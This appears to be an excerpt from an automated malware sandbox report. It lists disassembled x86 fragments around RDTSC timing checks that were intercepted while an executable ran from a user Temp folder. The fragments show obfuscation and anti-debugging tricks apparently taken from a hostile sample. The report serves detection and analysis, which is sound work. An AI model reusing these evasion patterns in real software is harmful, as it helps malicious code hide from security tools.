Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982B65 second address: 982B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982B69 second address: 982BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 40B66D00h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F0F38F95228h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 xor dh, FFFFFFE0h 0x0000002b push 00000003h 0x0000002d mov dword ptr [ebp+122D1CA0h], edi 0x00000033 push 00000000h 0x00000035 push 00000003h 0x00000037 adc ecx, 10EB97AEh 0x0000003d push 76CC6C1Fh 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982CA2 second address: 982D54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D38E3h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F0F38729BB8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d call 00007F0F38729BBDh 0x00000032 jng 00007F0F38729BBCh 0x00000038 ja 00007F0F38729BB6h 0x0000003e pop edi 0x0000003f call 00007F0F38729BB9h 0x00000044 jne 00007F0F38729BC2h 0x0000004a push eax 0x0000004b jmp 00007F0F38729BC6h 0x00000050 mov eax, dword ptr [esp+04h] 0x00000054 jmp 00007F0F38729BC5h 0x00000059 mov eax, dword ptr [eax] 0x0000005b push eax 0x0000005c push edx 0x0000005d push esi 0x0000005e push eax 0x0000005f pop eax 0x00000060 pop esi 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 982E3D second address: 982E4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F0F38F95226h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 995F91 second address: 995F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 995F95 second address: 995FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F38F95230h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 995FB0 second address: 995FBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F0F38729BBCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A43FF second address: 9A440B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0F38F95226h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A223E second address: 9A2243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2243 second address: 9A224F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0F38F95226h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A224F second address: 9A228A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F0F38729BBEh 0x00000013 jmp 00007F0F38729BBAh 0x00000018 pop edx 0x00000019 jmp 00007F0F38729BC0h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A228A second address: 9A228E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2573 second address: 9A257D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0F38729BB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A257D second address: 9A258D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0F38F9522Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A270D second address: 9A2717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2717 second address: 9A2720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2720 second address: 9A2726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2726 second address: 9A272C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A272C second address: 9A274E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0F38729BC7h 0x00000008 jmp 00007F0F38729BC1h 0x0000000d pushad 0x0000000e ja 00007F0F38729BB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2CC6 second address: 9A2CE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F0F38F95226h 0x00000009 jmp 00007F0F38F95235h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2CE9 second address: 9A2D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38729BC9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A2E8C second address: 9A2EB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0F38F95235h 0x00000008 pop edx 0x00000009 pushad 0x0000000a jmp 00007F0F38F9522Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A314C second address: 9A316A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F0F38729BC6h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9993D1 second address: 9993D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A3557 second address: 9A3581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jo 00007F0F38729BBCh 0x00000011 jc 00007F0F38729BB6h 0x00000017 pushad 0x00000018 jmp 00007F0F38729BBAh 0x0000001d jl 00007F0F38729BB6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A3AD5 second address: 9A3AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A3AD9 second address: 9A3AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38729BC1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jp 00007F0F38729BBCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A3FAD second address: 9A3FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A3FB3 second address: 9A3FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A3FB7 second address: 9A3FC1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0F38F95226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A66F6 second address: 9A6700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A6700 second address: 9A6723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F0F38F95231h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9A8DCA second address: 9A8DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9747F2 second address: 9747FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9747FD second address: 974801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 977D93 second address: 977D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 977D97 second address: 977D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9ABA15 second address: 9ABA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0F38F9522Bh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9ABA27 second address: 9ABA2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9ABA2B second address: 9ABA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F0F38F95235h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0F38F95233h 0x00000016 jp 00007F0F38F9523Dh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE70F second address: 9AE717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE717 second address: 9AE731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jg 00007F0F38F9522Ch 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AD8A4 second address: 9AD8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE803 second address: 9AE809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE809 second address: 9AE80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE80D second address: 9AE811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE811 second address: 9AE824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F0F38729BB8h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9AE985 second address: 9AE98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B668E second address: 9B6698 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B6765 second address: 9B6777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B6777 second address: 9B677B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B677B second address: 9B67AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 6D61B10Dh 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F0F38F95228h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 855387CEh 0x0000002d pushad 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B6D36 second address: 9B6D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B6DA8 second address: 9B6DAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B729E second address: 9B72B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jg 00007F0F38729BB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B75B9 second address: 9B75BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B75BF second address: 9B75E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B75E0 second address: 9B75E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B75E8 second address: 9B75EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B7E3C second address: 9B7E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38F9522Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B890C second address: 9B8917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B8917 second address: 9B8921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B90DF second address: 9B90E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BA308 second address: 9BA30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BA30E second address: 9BA312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BADD3 second address: 9BADD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BAB56 second address: 9BAB60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F0F38729BB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BB7EE second address: 9BB7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BC211 second address: 9BC215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BC215 second address: 9BC221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BBF7E second address: 9BBF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9BCAB2 second address: 9BCABC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0F38F9522Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C13A3 second address: 9C13A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C13A7 second address: 9C142A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F0F38F95228h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 or dword ptr [ebp+122D205Eh], esi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F0F38F95228h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 pushad 0x00000047 mov esi, dword ptr [ebp+122D3388h] 0x0000004d add esi, dword ptr [ebp+122D26DCh] 0x00000053 popad 0x00000054 push 00000000h 0x00000056 mov dword ptr [ebp+122D2A29h], eax 0x0000005c xchg eax, esi 0x0000005d push ecx 0x0000005e push ecx 0x0000005f push edi 0x00000060 pop edi 0x00000061 pop ecx 0x00000062 pop ecx 0x00000063 push eax 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F0F38F9522Fh 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C064B second address: 9C0670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F0F38729BBCh 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jl 00007F0F38729BB8h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jne 00007F0F38729BB6h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C142A second address: 9C142E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C34DC second address: 9C34F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jg 00007F0F38729BB6h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C34F2 second address: 9C352A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and bh, 00000000h 0x0000000d push 00000000h 0x0000000f xor edi, 3194B500h 0x00000015 push 00000000h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F0F38F9522Eh 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9C352A second address: 9C3530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
